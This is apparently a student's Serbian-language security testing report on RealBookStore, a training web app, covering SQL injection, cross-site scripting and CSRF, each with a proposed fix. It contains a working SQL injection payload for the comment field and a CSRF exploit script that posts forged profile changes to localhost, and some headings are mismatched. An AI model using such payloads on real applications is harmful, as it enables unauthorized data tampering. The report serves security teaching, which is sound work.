

Izvestaj

Djordje Aksentijevic 255/2019

Sadržaj

Istorija izmena.....	1
Uvod.....	3
O veb aplikaciji.....	3
Kratak pregled rezultata testiranja.....	3
SQL injection.....	4
Napad: Ubacivanje novog usera u tabelu "persons" (SQL injection).....	4
Metod napada:.....	4
Predlog odbrane:.....	4
Cross-site scripting.....	4
Napad: Ubacivanje novog usera u tabelu "persons".....	4
Metod napada:.....	4
Predlog odbrane:.....	4
CSRF.....	5
Metod napada:.....	6
Predlog odbrane:.....	6
Zaključak.....	7

Uvod

Ovaj izveštaj se bavi ranjivostima pronađenim u dole opisanoj veb aplikaciji.

O veb aplikaciji

RealBookStore je veb aplikacija koja pruža mogućnosti pretrage, ocenjivanja i komentarisanja knjiga.

Aplikacija RealBookStore omogućava sledeće:

- ⌚ Pregled i pretragu knjiga.
- ⌚ Dodavanje nove knjige.
- ⌚ Detaljan pregleda knjige kao i komentarisanje i ocenjivanje knjige.
- ⌚ Pregled korisnika aplikacije.
- ⌚ Detaljan pregled podataka korisnika.

Kratak pregled rezultata testiranja

Ovde idu kratko opisani rezultati testiranja: pronađene ranjivosti i nivo opasnosti.

<i>Nivo opasnosti</i>	<i>Broj ranjivosti</i>
Low	3
Medium	2
High	1

SQL injection

Napad: Ubacivanje novog usera u tabelu "persons" (SQL injection)

Metod napada:

Na stranici za komentare, ubaciti sledeci kod

```
String query = "insert into comments(bookId, userId, comment) values (" +  
comment.getBookId() + ", " + comment.getUserId() + ", " +  
comment.getComment() + "));";
```

Predlog odbrane:

Koristiti PreparedStatement umesto Statement

Book comments

Bruce Wayne

They are taking the hobbits to Isengard. P.S. I am not Batman

Add comment

```
comment'); insert into persons(firstName,  
lastName, email) values ('A', 'B',  
'C@gmail.com
```

Create comment

© 2023 Copyright: [RBS](#)

#	First Name	Last Name	Email	
1	Bruce	Wayne	notBatman@gmail.com	View profile
2	Sam	Vimes	night-watch@gmail.com	View profile
3	Tom	Riddle	theyGotMyNose@gmail.com	View profile
4	Quentin	Tarantino	qt5@gmail.com	View profile
5	A	B	C@gmail.com	View profile

Cross-site scripting

Napad: Ubacivanje novog usera u tabelu "persons"

Metod napada:

Koristeci <img element I njegovu onerror funkciju sa javascript kodom u ime korisnika moguće je ubaciti maliciozan kod

Predlog odbrane:

Zameniti pojavljivač innerHTML sa textContent.

CSRF

Napad: Menjanje informacija o korisniku preko alternativne stranice

Metod napada:

Iskoristimo korisnika da klikne dugme na stranici sto ce neznatno njemu poslati zahtev web aplikaciji

Predlog odbrane:

```
<script>
  function exploit() {
    const formData = new FormData();
    formData.append('id', 1);
    formData.append('firstName', 'Batman');
    formData.append('lastName', 'Dark Knight');
    fetch('http://localhost:8080/update-person',
      {method: 'POST', body: formData, credentials: 'include'});
  }
</script>
```

Sa zahtevima slati CSRF token.



Click here!

